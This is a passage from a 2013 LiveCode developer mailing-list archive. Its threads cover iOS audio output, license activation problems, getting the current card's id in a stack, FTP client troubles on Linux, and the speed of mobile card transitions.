unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gerry.orkin at gmail.com Thu May 16 22:18:46 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Fri, 17 May 2013 12:18:46 +1000 Subject: iOS - no sound through speakers Message-ID: <353AA221-36B9-42DB-8194-B45927B15930@gmail.com> Hi all I'm trying to play a sound in an iOS app with: iphonePlaySoundOnChannel specialFolderPath("engine") & "/house.wav", "house", "now" iphoneSetSoundChannelVolume "house", "100" The sound plays through the device headphone port but not it's speakers. That doesn't seem normal :) Any ideas? Cheers Gerry From shawnlivecode at gmail.com Fri May 17 06:00:27 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Fri, 17 May 2013 05:00:27 -0500 Subject: Has anyone had problems with 6.0.1 Commercial activating Message-ID: Has anyone had problems with 6.0.1 Commercial activating? I even tried downloading the offline license file and get a message that it's an invalid license file. From shawnlivecode at gmail.com Fri May 17 06:01:46 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Fri, 17 May 2013 05:01:46 -0500 Subject: 5.5.4 Activation In-Reply-To: References: <30D8B7EC-3F41-4607-B9EA-AC0E1FA9042E@swcp.com> Message-ID: Right now I'm having problems activating 6.0.1 commercial. Even after downloading the offline license file it won't activate, instead I get a message that it's an invalid license file. What a pain in the rear. On Thu, May 16, 2013 at 1:10 PM, Matthias Rebbe < matthias_livecode_150811 at m-r-d.de> wrote: > Dar, > > LC 5.5.4 still needs activation. If you have problems with the online > activation, then just create a offline-activation file in your Runrev store > account and use the offline activation feature in LC. That should do. > > HTH. > > Regards, > > Matthias > > Am 16.05.2013 um 19:52 schrieb Dar Scott : > > > I haven't had any problem in activating versions of LiveCode. Until > this week. Installation has been fine (except for "all users" on Windows > later versions). However, this week I have been having trouble activating > LiveCode 5.5.4. > > > > This is very likely a problem in my test network. But, maybe it was > glitch during web site changes (which is up now, I noticed). Or, maybe > activation is no more. > > > > What is the status on activating versions of LiveCode? > > > > Dar > > > > --------------------------- > > Dar Scott > > dba > > Dar Scott Consulting > > 8637 Horacio Place NE > > Albuquerque, NM 87111 > > > > Lab, home, office phone: +1 505 299 9497 > > For Skype and fax, please contact. > > dsc at swcp.com > > > > Computer programming and tinkering, > > usually in supporting those developing in > > LiveCode--typically by making LiveCode > > controls, libraries and externals, and > > sometimes by writing associated > > microcontroller firmware. > > --------------------------- > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From sc at sahores-conseil.com Fri May 17 07:10:19 2013 From: sc at sahores-conseil.com (Pierre Sahores) Date: Fri, 17 May 2013 13:10:19 +0200 Subject: 5.5.4 Activation In-Reply-To: References: <30D8B7EC-3F41-4607-B9EA-AC0E1FA9042E@swcp.com> Message-ID: <4D9D2305-8014-46FF-911C-E0EC333DC025@sahores-conseil.com> Dar, I had the problem some weeks before against the iOS and Android modules while in the mean time the other modules (OSX, Win, Server) licensing went successful. The problem went solved (iOS / Android modules licenses outdated) with Heather help after a mail to support at runrev.com. HTH, Regards, Pierre Le 17 mai 2013 ? 12:01, Shawn Blc a ?crit : > Right now I'm having problems activating 6.0.1 commercial. Even after > downloading the offline license file it won't activate, instead I get a > message that it's an invalid license file. What a pain in the rear. > > > > On Thu, May 16, 2013 at 1:10 PM, Matthias Rebbe < > matthias_livecode_150811 at m-r-d.de> wrote: > >> Dar, >> >> LC 5.5.4 still needs activation. If you have problems with the online >> activation, then just create a offline-activation file in your Runrev store >> account and use the offline activation feature in LC. That should do. >> >> HTH. >> >> Regards, >> >> Matthias >> >> Am 16.05.2013 um 19:52 schrieb Dar Scott : >> >>> I haven't had any problem in activating versions of LiveCode. Until >> this week. Installation has been fine (except for "all users" on Windows >> later versions). However, this week I have been having trouble activating >> LiveCode 5.5.4. >>> >>> This is very likely a problem in my test network. But, maybe it was >> glitch during web site changes (which is up now, I noticed). Or, maybe >> activation is no more. >>> >>> What is the status on activating versions of LiveCode? >>> >>> Dar >>> >>> --------------------------- >>> Dar Scott >>> dba >>> Dar Scott Consulting >>> 8637 Horacio Place NE >>> Albuquerque, NM 87111 >>> >>> Lab, home, office phone: +1 505 299 9497 >>> For Skype and fax, please contact. >>> dsc at swcp.com >>> >>> Computer programming and tinkering, >>> usually in supporting those developing in >>> LiveCode--typically by making LiveCode >>> controls, libraries and externals, and >>> sometimes by writing associated >>> microcontroller firmware. >>> --------------------------- >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From rman at free.fr Fri May 17 08:33:43 2013 From: rman at free.fr (Robert Mann) Date: Fri, 17 May 2013 05:33:43 -0700 (PDT) Subject: Has anyone had problems with 6.0.1 Commercial activating In-Reply-To: References: Message-ID: <1368794023281-4664998.post@n4.nabble.com> Yes I did have too. About a week ago, Msg stated 6.01 RC1 was no more valid. So i used the 6OS version, and older ones, and I will dig that matter next week. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Has-anyone-had-problems-with-6-0-1-Commercial-activating-tp4664995p4664998.html Sent from the Revolution - User mailing list archive at Nabble.com. From m.schonewille at economy-x-talk.com Fri May 17 08:40:57 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 17 May 2013 14:40:57 +0200 Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> <51915E53.5050201@economy-x-talk.com> Message-ID: <51962559.4090009@economy-x-talk.com> Hi, The first batch of books has been sent and are to arrive shortly. A few of you still haven't confirmed their address. If you purchased the book but never confirmed your address (or don't know what I'm talking about), please contact me. One person purchased the book without providing a correct e-mail address. If you never received any messages after purchasing the book, make sure to contact me right-away. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi From cmsheffield at icloud.com Fri May 17 10:46:47 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Fri, 17 May 2013 08:46:47 -0600 Subject: iOS - no sound through speakers In-Reply-To: <353AA221-36B9-42DB-8194-B45927B15930@gmail.com> References: <353AA221-36B9-42DB-8194-B45927B15930@gmail.com> Message-ID: <18C20D01-D18A-417D-9B06-CD25861C1D7A@icloud.com> If sound plays through the headphones it should also play through the external speaker(s). Check to make sure you don't have the volume muted. If you're on an iPad, the side switch can be toggled to either mute sound or lock rotation. Check the Settings app to see which one is set. One quick way to check (iPad only) is to double click the Home button to pull up the multitasking bar, then swipe right to see volume and playback controls. If the side switch is set for lock rotation, then you'll see a mute button on the left. If it's set for Mute, then you'll see a lock rotation button instead. If you're on an iPhone/iPod Touch, honestly I'm not really sure what the problem would be if the volume is not muted. Hardware issue perhaps? Anyway, I've seen many people confused as to why they're not getting sound from the external speakers, and this is usually why. It's easy to have the sound muted and not even know it, especially because sound will usually play through headphones even if the external speakers are muted. HTH, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com On May 16, 2013, at 8:18 PM, Gerry Orkin wrote: > Hi all > > I'm trying to play a sound in an iOS app with: > > iphonePlaySoundOnChannel specialFolderPath("engine") & "/house.wav", "house", "now" > iphoneSetSoundChannelVolume "house", "100" > > The sound plays through the device headphone port but not it's speakers. That doesn't seem normal :) Any ideas? > > Cheers > > Gerry > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Fri May 17 12:08:55 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 17 May 2013 09:08:55 -0700 Subject: The current card Message-ID: I'm probably missing something really obvious but how do you get the id/name of the current open card in a stack? If the stack is the topstack, I'm looking at line 1 of the recentCards, not sure if that is the easiest way to do it or how reliable it is, but how about other open stacks that are not the topstack? Pete lcSQL Software From richmondmathewson at gmail.com Fri May 17 12:22:40 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 19:22:40 +0300 Subject: The current card In-Reply-To: References: Message-ID: <51965950.8020608@gmail.com> On 05/17/2013 07:08 PM, Peter Haworth wrote: > I'm probably missing something really obvious but how do you get the > id/name of the current open card in a stack? > > If the stack is the topstack, I'm looking at line 1 of the recentCards, not > sure if that is the easiest way to do it or how reliable it is, but how > about other open stacks that are not the topstack? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode put the name of the current card worked for me just now. Richmond. From irog at mac.com Fri May 17 12:22:41 2013 From: irog at mac.com (Roger Guay) Date: Fri, 17 May 2013 09:22:41 -0700 Subject: The current card In-Reply-To: References: Message-ID: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> How about "put the ID of this cd [of stack myStack]"? Best, Roger On May 17, 2013, at 9:08 AM, Peter Haworth wrote: > I'm probably missing something really obvious but how do you get the > id/name of the current open card in a stack? > > If the stack is the topstack, I'm looking at line 1 of the recentCards, not > sure if that is the easiest way to do it or how reliable it is, but how > about other open stacks that are not the topstack? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Fri May 17 12:23:20 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 19:23:20 +0300 Subject: The current card In-Reply-To: References: Message-ID: <51965978.9060601@gmail.com> On 05/17/2013 07:08 PM, Peter Haworth wrote: > I'm probably missing something really obvious but how do you get the > id/name of the current open card in a stack? > > If the stack is the topstack, I'm looking at line 1 of the recentCards, not > sure if that is the easiest way to do it or how reliable it is, but how > about other open stacks that are not the topstack? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode As did: put the id of the current card Richmond. From richmondmathewson at gmail.com Fri May 17 12:26:33 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 19:26:33 +0300 Subject: The current card In-Reply-To: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> References: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> Message-ID: <51965A39.3070909@gmail.com> On 05/17/2013 07:22 PM, Roger Guay wrote: > How about "put the ID of this cd [of stack myStack]"? > > Best, > Roger > > put the id of the current card of stack "WHATEVERYOUHAVECALLEDYOURSTACK" Richmond. From irog at mac.com Fri May 17 12:34:47 2013 From: irog at mac.com (Roger Guay) Date: Fri, 17 May 2013 09:34:47 -0700 Subject: The current card In-Reply-To: <51965A39.3070909@gmail.com> References: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> <51965A39.3070909@gmail.com> Message-ID: Too long for a poor typist. I called it myStack! On May 17, 2013, at 9:26 AM, Richmond wrote: > On 05/17/2013 07:22 PM, Roger Guay wrote: >> How about "put the ID of this cd [of stack myStack]"? >> >> Best, >> Roger >> >> > > put the id of the current card of stack "WHATEVERYOUHAVECALLEDYOURSTACK" > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Fri May 17 12:43:08 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 19:43:08 +0300 Subject: The current card In-Reply-To: References: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> <51965A39.3070909@gmail.com> Message-ID: <51965E1C.9000004@gmail.com> On 05/17/2013 07:34 PM, Roger Guay wrote: > Too long for a poor typist. I called it myStack! > > > On May 17, 2013, at 9:26 AM, Richmond wrote: > > I thought all 'REAL' Livecode programmers gave their stacks names at least 30 characters long . . . presumably one character for each hair on their chest (with due anti-sexist disclaimers to Ms Gay) . . . LOL Richmond. From dunbarx at aol.com Fri May 17 12:47:00 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 17 May 2013 12:47:00 -0400 (EDT) Subject: The current card In-Reply-To: <51965E1C.9000004@gmail.com> References: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> <51965A39.3070909@gmail.com> <51965E1C.9000004@gmail.com> Message-ID: <8D0213548D94142-A4C-33E79@webmail-d212.sysops.aol.com> Richmond. I would have given Ms. Gay a sexist disclaimer, not an anti-sexist one. Craig -----Original Message----- From: Richmond To: How to use LiveCode Sent: Fri, May 17, 2013 12:44 pm Subject: Re: The current card On 05/17/2013 07:34 PM, Roger Guay wrote: > Too long for a poor typist. I called it myStack! > > > On May 17, 2013, at 9:26 AM, Richmond wrote: > > I thought all 'REAL' Livecode programmers gave their stacks names at least 30 characters long . . . presumably one character for each hair on their chest (with due anti-sexist disclaimers to Ms Gay) . . . LOL Richmond. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Fri May 17 12:48:29 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 19:48:29 +0300 Subject: The current card In-Reply-To: <8D0213548D94142-A4C-33E79@webmail-d212.sysops.aol.com> References: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> <51965A39.3070909@gmail.com> <51965E1C.9000004@gmail.com> <8D0213548D94142-A4C-33E79@webmail-d212.sysops.aol.com> Message-ID: <51965F5D.7030403@gmail.com> On 05/17/2013 07:47 PM, dunbarx at aol.com wrote: > Richmond. > > > I would have given Ms. Gay a sexist disclaimer, not an anti-sexist one. Possiblement, mon vieux :) > > > > Craig > > > -----Original Message----- > From: Richmond > To: How to use LiveCode > Sent: Fri, May 17, 2013 12:44 pm > Subject: Re: The current card > > > On 05/17/2013 07:34 PM, Roger Guay wrote: >> Too long for a poor typist. I called it myStack! >> >> >> On May 17, 2013, at 9:26 AM, Richmond wrote: >> >> > I thought all 'REAL' Livecode programmers gave their stacks names at least > 30 characters long . . . presumably one character for each hair on their > chest > (with due anti-sexist disclaimers to Ms Gay) . . . LOL > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Fri May 17 12:54:51 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 19:54:51 +0300 Subject: [OT] Playing silly bu**ers with FileZilla. Message-ID: <519660DB.6010300@gmail.com> Hey-Ho You Happy Linux Mages, I have been merrily connecting to my FTP/Web-page site (a subset of Andre Garzia's site, God Bless him) using a Macintosh FTP client for about 3-4 years (Cyberduck) which set things up "licketty-split" [for those of you who don't know that is a technical term] . . . . . . all jolly well and good, until I want to do the same from Linux . . . Now 'FileZilla' gets all "hot and sweaty" [see earlier remark about technical terms] and tells me all sorts of funny things about Firewalls and a mismatch with my external IP address . . . . . . why this is, I just don't know as I have been happily using Cyberduck inside Mac OS 10.6 inside VMware Player 5.0.2 on Linux without all this cafuffle . . . Anyway, FileZilla won't play . . . unless, as usual, I am missing something. Richmond. From irog at mac.com Fri May 17 12:55:03 2013 From: irog at mac.com (Roger Guay) Date: Fri, 17 May 2013 09:55:03 -0700 Subject: The current card In-Reply-To: <51965E1C.9000004@gmail.com> References: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> <51965A39.3070909@gmail.com> <51965E1C.9000004@gmail.com> Message-ID: Well, there's my problem! On May 17, 2013, at 9:43 AM, Richmond wrote: > I thought all 'REAL' Livecode programmers ?. From pete at lcsql.com Fri May 17 12:59:16 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 17 May 2013 09:59:16 -0700 Subject: The current card In-Reply-To: <51965E1C.9000004@gmail.com> References: <226A8DEA-3CA4-4E38-B3C2-E3FD70019FEE@mac.com> <51965A39.3070909@gmail.com> <51965E1C.9000004@gmail.com> Message-ID: Thanks folks - the name/id of the current card of stack "x" is what I needed. Pete lcSQL Software On Fri, May 17, 2013 at 9:43 AM, Richmond wrote: > On 05/17/2013 07:34 PM, Roger Guay wrote: > >> Too long for a poor typist. I called it myStack! >> >> >> On May 17, 2013, at 9:26 AM, Richmond >> wrote: >> >> >> > I thought all 'REAL' Livecode programmers gave their stacks names at least > 30 characters long . . . presumably one character for each hair on their > chest > (with due anti-sexist disclaimers to Ms Gay) . . . LOL > > > Richmond. > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Fri May 17 13:01:03 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 20:01:03 +0300 Subject: The current card In-Reply-To: References: Message-ID: <5196624F.1030409@gmail.com> On 05/17/2013 07:08 PM, Peter Haworth wrote: > I'm probably missing something really obvious but how do you get the > id/name of the current open card in a stack? > > If the stack is the topstack, I'm looking at line 1 of the recentCards, not > sure if that is the easiest way to do it or how reliable it is, but how > about other open stacks that are not the topstack? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode As I am having a "bit of bother" right now with an FTP client I have uploaded a rather silly little stack that illustrates this sort of thing to the Livecode Forum under /General/Off-Topic so, if you have nothing much else to do, download the thing and groan. Richmond. From warren at warrensweb.us Fri May 17 13:11:34 2013 From: warren at warrensweb.us (Warren Samples) Date: Fri, 17 May 2013 12:11:34 -0500 Subject: [OT] Playing silly bu**ers with FileZilla. In-Reply-To: <519660DB.6010300@gmail.com> References: <519660DB.6010300@gmail.com> Message-ID: <519664C6.1050908@warrensweb.us> On 05/17/2013 11:54 AM, Richmond wrote: > Hey-Ho You Happy Linux Mages, > > I have been merrily connecting to my FTP/Web-page site (a subset of > Andre Garzia's site, God Bless him) using > a Macintosh FTP client for about 3-4 years (Cyberduck) which set things > up "licketty-split" [for those of you > who don't know that is a technical term] . . . > > . . . all jolly well and good, until I want to do the same from Linux . . . > > Now 'FileZilla' gets all "hot and sweaty" [see earlier remark about > technical terms] and tells me all sorts of funny > things about Firewalls and a mismatch with my external IP address . . . > > . . . why this is, I just don't know as I have been happily using > Cyberduck inside Mac OS 10.6 inside VMware Player 5.0.2 > on Linux without all this cafuffle . . . > > Anyway, FileZilla won't play . . . unless, as usual, I am missing > something. > > Richmond. > I can't know what's causing your problem, but I have never had any trouble getting FileZilla to work here under Linux. Did you try running the network wizard? You'll find it under the "Edit" menu. Maybe enabling passive will help. Good luck! Warren From richmondmathewson at gmail.com Fri May 17 13:21:23 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 20:21:23 +0300 Subject: [OT] Playing silly bu**ers with FileZilla. In-Reply-To: <519664C6.1050908@warrensweb.us> References: <519660DB.6010300@gmail.com> <519664C6.1050908@warrensweb.us> Message-ID: <51966713.9090607@gmail.com> On 05/17/2013 08:11 PM, Warren Samples wrote: > On 05/17/2013 11:54 AM, Richmond wrote: >> Hey-Ho You Happy Linux Mages, >> >> I have been merrily connecting to my FTP/Web-page site (a subset of >> Andre Garzia's site, God Bless him) using >> a Macintosh FTP client for about 3-4 years (Cyberduck) which set things >> up "licketty-split" [for those of you >> who don't know that is a technical term] . . . >> >> . . . all jolly well and good, until I want to do the same from Linux >> . . . >> >> Now 'FileZilla' gets all "hot and sweaty" [see earlier remark about >> technical terms] and tells me all sorts of funny >> things about Firewalls and a mismatch with my external IP address . . . >> >> . . . why this is, I just don't know as I have been happily using >> Cyberduck inside Mac OS 10.6 inside VMware Player 5.0.2 >> on Linux without all this cafuffle . . . >> >> Anyway, FileZilla won't play . . . unless, as usual, I am missing >> something. >> >> Richmond. >> > > > I can't know what's causing your problem, but I have never had any > trouble getting FileZilla to work here under Linux. Did you try > running the network wizard? You'll find it under the "Edit" menu. > Maybe enabling passive will help. I tried that, and had no joy. I got this message: IP 192.168.X.X bjc-bgi-X-X Response: 510 Mismatch. Your IP is 87.97.X.X, ih-jh-X-X Wrong external IP address Connection closed [where 'X' represents a number] anyway, I shall now try to set the thing up with the IP it says is mine . . . What I don't understand is why Cyberduck was moronically easy, just asking for the details of the account on the FTP server and doing all the rest by itself; while FileZilla is being too clever by half. > > > Good luck! > > Warren > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Fri May 17 13:48:52 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 20:48:52 +0300 Subject: [OT] Playing silly bu**ers with FileZilla. In-Reply-To: <519664C6.1050908@warrensweb.us> References: <519660DB.6010300@gmail.com> <519664C6.1050908@warrensweb.us> Message-ID: <51966D84.40202@gmail.com> Chucked out FileZilla and went for gFTP: lovely and simple :) Richmond. From richmondmathewson at gmail.com Fri May 17 13:51:38 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 20:51:38 +0300 Subject: Get current card Message-ID: <51966E2A.2000802@gmail.com> Having sorted out the FTP glitch, "KARDER.rev" is now available at: http://andregarzia.on-rev.com/richmond/GIFTS/KARDER.rev.zip Big, Cheap Thrills on a Friday night, not! Richmond. From andre at andregarzia.com Fri May 17 14:56:02 2013 From: andre at andregarzia.com (Andre Garzia) Date: Fri, 17 May 2013 19:56:02 +0100 Subject: where are you guys Message-ID: Hey Guys, Its dinner time. I am wondering where you are! Please tell me over email and possibly over SMS to +552199581066 cheers andre -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From richmondmathewson at gmail.com Fri May 17 15:02:13 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 22:02:13 +0300 Subject: where are you guys In-Reply-To: References: Message-ID: <51967EB5.4020902@gmail.com> On 05/17/2013 09:56 PM, Andre Garzia wrote: > Hey Guys, > > Its dinner time. I am wondering where you are! Please tell me over email > and possibly over SMS to +552199581066 > > cheers > andre > Somebody's eating 'dinner' very, very late indeed; as in Scotland, dinner is normally eaten at about 1 o'clock in the afternoon. Supper is eaten in the evening. Richmond. From warren at warrensweb.us Fri May 17 15:06:33 2013 From: warren at warrensweb.us (Warren Samples) Date: Fri, 17 May 2013 14:06:33 -0500 Subject: [OT] Playing silly bu**ers with FileZilla. In-Reply-To: <51966D84.40202@gmail.com> References: <519660DB.6010300@gmail.com> <519664C6.1050908@warrensweb.us> <51966D84.40202@gmail.com> Message-ID: <51967FB9.9030902@warrensweb.us> On 05/17/2013 12:48 PM, Richmond wrote: > Chucked out FileZilla and went for gFTP: > > lovely and simple :) > > Richmond. > I used gFTP when I used Mint and it worked well and had all the features I needed. I like FileZilla a little better, but it's clearly causing you only grief. My needs are very basic and I actually do most everything directly from the Dolphin file manager in KDE which lets me work with remote directories via sftp as if they were local. Warren From richmondmathewson at gmail.com Fri May 17 15:28:56 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 17 May 2013 22:28:56 +0300 Subject: [OT] Playing silly bu**ers with FileZilla. In-Reply-To: <51967FB9.9030902@warrensweb.us> References: <519660DB.6010300@gmail.com> <519664C6.1050908@warrensweb.us> <51966D84.40202@gmail.com> <51967FB9.9030902@warrensweb.us> Message-ID: <519684F8.80600@gmail.com> On 05/17/2013 10:06 PM, Warren Samples wrote: > On 05/17/2013 12:48 PM, Richmond wrote: >> Chucked out FileZilla and went for gFTP: >> >> lovely and simple :) >> >> Richmond. >> > > > I used gFTP when I used Mint and it worked well and had all the > features I needed. I like FileZilla a little better, but it's clearly > causing you only grief. My needs are very basic and I actually do most > everything directly from the Dolphin file manager in KDE which lets me > work with remote directories via sftp as if they were local. > > Warren > Thanks for your advice. I'm an XCFE chap, and, just like GNOME and KDE's file managers, I have just discovered that UbuntuStudio (which runs XFCE 4.10) "Connect to Server" will open a FTP site (ftp://XXXXXX) as a read-only sort of thing in one's web-browser, or as a folder on the desktop which is read/write enabled. which, quite frankly, makes me feel bloody silly getting all worked up about FileZilla and whatnot. Richmond. From MikeKerner at roadrunner.com Fri May 17 15:44:12 2013 From: MikeKerner at roadrunner.com (Mike Kerner) Date: Fri, 17 May 2013 15:44:12 -0400 Subject: Show/Hide Groups vs. Card Transitions on Mobile Message-ID: Before I spend all weekend playing with this, has anybody done any experiments on showing and hiding groups on cards instead of doing transitions between cards on mobile? I'm specifically wondering about folks using MobGUI or tmTools, which I would imagine require more resources than projects that don't use those skinning tools. The main thing that I'm wondering about is transition speed. Some of the card transitions on mobile are...pokey. -- On the first day, God created the heavens and the Earth On the second day, God created the oceans. On the third day, God put the animals on hold for a few hours, and did a little diving. And God said, "This is good." From cmsheffield at icloud.com Fri May 17 16:05:58 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Fri, 17 May 2013 14:05:58 -0600 Subject: Show/Hide Groups vs. Card Transitions on Mobile In-Reply-To: References: Message-ID: In my experience the main thing to watch out for if you're using visual effects to transition between cards is not to do too much processing in your preOpenCard handler (or in other handlers called from preOpenCard). This has been the main cause of slowdowns for me. Do as much of your card processing in openCard as you can. If you're just showing and hiding groups, it's probably less intensive, but then you've got the overhead of all those controls on a single card, which may or may not be a big deal. Unfortunately, it kind of just comes down to experimentation. Try both and see which works best for you. And using MobGUI or tmControl shouldn't be too big a deal, as both just use graphic objects for the most part in order to create your buttons and so forth. I've been using tmControl for quite some time and as far as I've been able to tell it hasn't had much impact, if any at all, on visual effects. My two cents... Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com On May 17, 2013, at 1:44 PM, Mike Kerner wrote: > Before I spend all weekend playing with this, has anybody done any > experiments on showing and hiding groups on cards instead of doing > transitions between cards on mobile? I'm specifically wondering about > folks using MobGUI or tmTools, which I would imagine require more resources > than projects that don't use those skinning tools. > > The main thing that I'm wondering about is transition speed. Some of the > card transitions on mobile are...pokey. > > -- > On the first day, God created the heavens and the Earth > On the second day, God created the oceans. > On the third day, God put the animals on hold for a few hours, > and did a little diving. > And God said, "This is good." > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From scott at tactilemedia.com Fri May 17 16:23:03 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 17 May 2013 13:23:03 -0700 Subject: Show/Hide Groups vs. Card Transitions on Mobile In-Reply-To: Message-ID: What do you want to know? In theory, showing/hiding groups could perform better than doing a full card transition because the region to be updated is smaller than the card. You may need to play with enabling or disabling accleratedRendering if performance is poor. Remember that you can also restrict card transitions to a defined rect, which is key for any UI that includes fixed controls (i.e. navbar, toolbar). You don't want your fixed controls scrolling out of view during a transition. Unfortunately, we can't (yet?) combine multiple visual effects to achieve the combination of scroll+dissolve that takes place on iOS, and sometimes Android. This is sorely needed to provide native-looking user experience. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/17/13 12:44 PM, "Mike Kerner" wrote: >Before I spend all weekend playing with this, has anybody done any >experiments on showing and hiding groups on cards instead of doing >transitions between cards on mobile? I'm specifically wondering about >folks using MobGUI or tmTools, which I would imagine require more >resources >than projects that don't use those skinning tools. > >The main thing that I'm wondering about is transition speed. Some of the >card transitions on mobile are...pokey. > >-- >On the first day, God created the heavens and the Earth >On the second day, God created the oceans. >On the third day, God put the animals on hold for a few hours, > and did a little diving. >And God said, "This is good." >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From dsc at swcp.com Fri May 17 17:21:27 2013 From: dsc at swcp.com (Dar Scott) Date: Fri, 17 May 2013 15:21:27 -0600 Subject: Show/Hide Groups vs. Card Transitions on Mobile In-Reply-To: References: Message-ID: This is not really an answer to your concern, but it might help tip the balance in making a decision. In the past, I have made a tabbed group using cards and then wished I used 